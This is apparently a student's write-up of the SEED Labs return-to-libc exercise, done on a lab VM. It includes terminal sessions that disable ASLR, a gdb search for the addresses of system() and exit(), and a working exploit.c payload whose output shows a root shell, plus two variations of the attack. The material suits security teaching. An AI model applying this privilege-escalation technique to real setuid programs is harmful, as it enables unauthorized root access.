SEED Security Labs: Return-to-libc Attack

Task 1: Finding out the addresses of libc functions

Task 1 involves identifying the locations of libc functions. Initially, I ensured the use of the vulnerable shell, "/bin/zsh", and disabled address space randomization for both heap and stack. This step aimed to ease the process of guessing addresses and executing the buffer-overflow attack. The given program, retlib.c, contains the buffer overflow problem and was compiled with StackGuard protection scheme disabled, which typically prevents such overflows. I set the value of N to 12 to match the buffer size specified in retlib.c and documented in the code (-DBUF_SIZE=12). Following compilation, the program was converted into a root-owned set UID program.

```
[12/27/23]seed@VM:~$ cd Desktop/Malina
[12/27/23]seed@VM:~/.../Malina$ sudo ln -sf /bin/zsh /bin/sh
[12/27/23]seed@VM:~/.../Malina$ ls -lrt /bin/sh
lrwxrwxrwx 1 root root 8 Dec 27 14:55 /bin/sh -> /bin/zsh
[12/27/23]seed@VM:~/.../Malina$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[12/27/23]seed@VM:~/.../Malina$ gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z n
oexecstack -o retlib retlib.c
[12/27/23]seed@VM:~/.../Malina$ sudo chown root retlib
[12/27/23]seed@VM:~/.../Malina$ sudo chmod 4755 retlib
```

The objective of this assignment involves manipulating preloaded code within memory. Utilizing the functions system() and exit() from the libc library, we aim to execute an attack identified through the GNU gdb debugger. By debugging retlib.c and establishing a breakpoint within the main function, the program is executed step by step. The intention is to locate the memory addresses corresponding to the system() and exit() functions, which will be exploited as part of the attack strategy.

```
[12/27/23]seed@VM:~/.../Malina$ gdb -q retlib
Reading symbols from retlib...(no debugging symbols found)...done.
         break main
Breakpoint 1 at 0x804851c
         run
Starting program: /home/seed/Desktop/Malina/retlib
EAX: 0xb7fbbdbc --> 0xbfffedfc --> 0xbffff00d ("XDG VTNR=7")
EBX: 0x0
ECX: 0xbfffed60 --> 0x1
EDX: 0xbfffed84 --> 0x0
ESI: 0xb7fba000 --> 0x1b1db0
EDI: 0xb7fba000 --> 0x1b1db0
EBP: 0xbfffed48 --> 0x0
ESP: 0xbfffed44 --> 0xbfffed60 --> 0x1
EIP:
              (<main+14>:
                              sub
                                    esp,0x44)
0x8048518 <main+10>: push
                             ebp
                                                Text
   0x8048519 <main+11>: mov
                             ebp,esp
   0x804851b <main+13>: push
                             ecx
=> 0x804851c <main+14>: sub
                             esp,0x44
   0x804851f <main+17>: sub
                             esp,0x4
   0x8048522 <main+20>: push
                             0x3c
   0x8048524 <main+22>: push
                             0x0
   0x8048526 <main+24>: lea
                             eax, [ebp-0x48]
```

```
0000| 0xbfffed44 --> 0xbfffed60 --> 0x1
0004 \mid 0xbfffed48 --> 0x0
                                 (< libc start main+247>:
0008| 0xbfffed4c -->
                                                                  add
                                                                         esp,0x10)
0012 | 0xbfffed50 --> 0xb7fba000 --> 0x1b1db0
0016| 0xbfffed54 --> 0xb7fba000 --> 0x1b1db0
0020 | 0xbfffed58 --> 0x0
00241
                                 (< libc start main+247>:
                                                                  add
                                                                         esp,0x10)
0028 \mid 0xbfffed60 --> 0x1
Legend: code, data, rodata, value
Breakpoint 1, 0x0804851c in main ()
          p system
$1 = {<text variable, no debug info>} 0xb7e42da0 < libc system>
          p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 < GI exit>
          quit
[12/27/23]seed@VM:~/.../Malina$
```

In conclusion, the addresses of libc functions are:

- system(): 0xb7e42da0- exit(): 0xb7e369d0

Task 2: Putting the shell string in the memory

The objective of this task is to store the command string '/bin/sh' in the memory and determine its address. To achieve this, a new shell variable named MYSHELL was generated, containing the command string '/bin/sh'. The program retlib.c was modified by substituting the main function code with the code provided in the documentation. Additionally, a new file, prtenv.c, was created containing only the code for the void main function. We can observe that both retlib.c and prtenv.c yielded the same result, our required address.

```
[12/27/23]seed@VM:~/.../Malina$ export MYSHELL=/bin/sh
[12/27/23]seed@VM:~/.../Malina$ env | grep MYSHELL

MYSHELL=/bin/sh
[12/27/23]seed@VM:~/.../Malina$ gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z n
oexecstack -o retlib retlib.c
[12/27/23]seed@VM:~/.../Malina$ gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z n
oexecstack -o prtenv prtenv.c
[12/27/23]seed@VM:~/.../Malina$ sudo chown root retlib
[12/27/23]seed@VM:~/.../Malina$ sudo chmod 4755 retlib
[12/27/23]seed@VM:~/.../Malina$ sudo chown root prtenv
[12/27/23]seed@VM:~/.../Malina$ sudo chmod 4755 prtenv
[12/27/23]seed@VM:~/.../Malina$ sudo chmod 4755 prtenv
[12/27/23]seed@VM:~/.../Malina$ ./retlib
bffffdef
[12/27/23]seed@VM:~/.../Malina$ ./prtenv
bffffdef
```

In conclusion, the address is: 0xbffffdef.

The code for prtenv.c:

```
void main()
{
   char* shell = getenv("MYSHELL");
   if (shell)
      printf("%x\n", (unsigned int)shell);
}
```

Task 3: Exploiting the buffer-overflow vulnerability

The objective of this task is to generate a payload that, upon execution, triggers a successful attack by exploiting a buffer overflow vulnerability present in the bof() function. Running "objdump" on the retlib program allows us to retrieve the values of X, Y, and Z, which are necessary to complete exploit.c.

```
080484eb <bof>:
 80484eb:
                 55
                                                   %ebp
                                           push
 80484ec:
                 89 e5
                                                   %esp,%ebp
                                           mov
 80484ee:
                 83 ec 18
                                           sub
                                                   $0x18,%esp
80484f1:
                 ff 75 08
                                           pushl
                                                   0x8(%ebp)
80484f4:
                 68 2c 01 00 00
                                                   $0x12c
                                           push
 80484f9:
                 6a 01
                                           push
                                                   $0x1
 80484fb:
                 8d 45 ec
                                                   -0x14(%ebp),%eax
                                           lea
 80484fe:
                 50
                                           push
                                                   %eax
                                                   8048390 <fread@plt>
 80484ff:
                 e8 8c fe ff ff
                                           call
 8048504:
                 83 c4 10
                                                   $0x10,%esp
                                           add
 8048507:
                 b8 01 00 00 00
                                           mov
                                                   $0x1,%eax
 804850c:
                 c9
                                           leave
 804850d:
                 c3
                                           ret
```

The return address, located at an offset of 4 from the base pointer (ebp), is accessed through ebp + 0x4. The bof() function's allocated space is 0x18, and the system() function's offset is 24. Noting that ebp - 0x14 points to the buffer's start, I calculated the system() function's address at (ebp + 0x4) - (ebp - 0x14) = 0x18 => y = 24. Upon replacing the return address with the system function's address, the program executes its function prologue. "/bin/sh" is stored at ebp + 8 => x = 32. To ensure controlled execution after system("/bin/sh") and prevent crashes, I positioned exit() at ebp + 4 within the system stack frame => z = 28.

```
#include <stdlib.h>
#include <stdio.h>
#include
int main(int argc, char **argv)
  char buf[40];
  FILE *badfile;
  badfile = fopen("./badfile", "w");
  /* You need to decide the addresses and
     the values for X, Y, Z. The order of the following three statements does not imply the order of X, Y, Z.
      Actually, we intentionally scrambled the order. */
  *(long *) &buf[32] = 0xbffffdef;
*(long *) &buf[24] = 0xb7e42da0;
                                                  "/bin/sh'
                                           //
//
                                                 svstem()
  *(long *) &buf[28] = 0xb7e369d0;
                                                 exit()
  fwrite(buf, sizeof(buf), 1, badfile);
  fclose(badfile);
```

If we compile the exploit.c program and run it along with retlib, we can see that the root shell is spawned:

```
[01/08/24]seed@VM:~/.../Malina$ gcc -Wall exploit.c -o exploit
[01/08/24]seed@VM:~/.../Malina$ ./exploit
[01/08/24]seed@VM:~/.../Malina$ ./retlib
# ls
badfile
                     peda-session-retlib.txt prtenv.c
        exploit.c
                                                         retlib.c
exploit
         exploit.py
                                               retlib
                     prtenv
# pwd
/home/seed/Desktop/Malina
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo), 30(dip), 46(plugdev), 113(lpadmin), 128(sambashare)
 exit
```

Attack variation 1

The goal of this task is to determine the necessity of the exit() function's address. Within the program exploit.c, I have commented out the address of the exit() function.

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
    char buf[40];
    FILE *badfile;

    badfile = fopen("./badfile", "w");

/* You need to decide the addresses and the values for X, Y, Z. The order of the following three statements does not imply the order of X, Y, Z. Actually, we intentionally scrambled the order. */
    *(long *) &buf[32] = 0xbffffdef; // "/bin/sh"
    *(long *) &buf[24] = 0xb7e42da0; // system()|
// *(long *) &buf[28] = 0xb7e369d0; // exit()

fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
```

Upon observation, I noticed that the exit() function's address isn't required to execute the attack on the user, because the root shell is spawned successfully even without providing the address of exit().

```
[01/08/24]seed@VM:~/.../Malina$ gcc -Wall exploit.c -o exploit
[01/08/24]seed@VM:~/.../Malina$ ./exploit
[01/08/24]seed@VM:~/.../Malina$ ./retlib
# ls
badfile exploit.c peda-session-retlib.txt prtenv.c retlib.c
exploit exploit.py prtenv retlib
# pwd
/home/seed/Desktop/Malina
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# exit
Segmentation fault
```

Attack variation 2

The objective of this task is to rename the file from "retlib" to "newretlib" while attempting to target the user without altering the contents of the "badfile." However, changing the name from "retlib" to "newretlib" results in incorrect function addresses, causing the library to malfunction. Consequently, we're unable to successfully attack the user because renaming the file alters its address, necessitating a repetition of the prior steps to rediscover the addresses.

```
[01/08/24]seed@VM:~/.../Malina$ gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z n oexecstack -o newretlib retlib.c
[01/08/24]seed@VM:~/.../Malina$ ./newretlib
Segmentation fault
[01/08/24]seed@VM:~/.../Malina$
```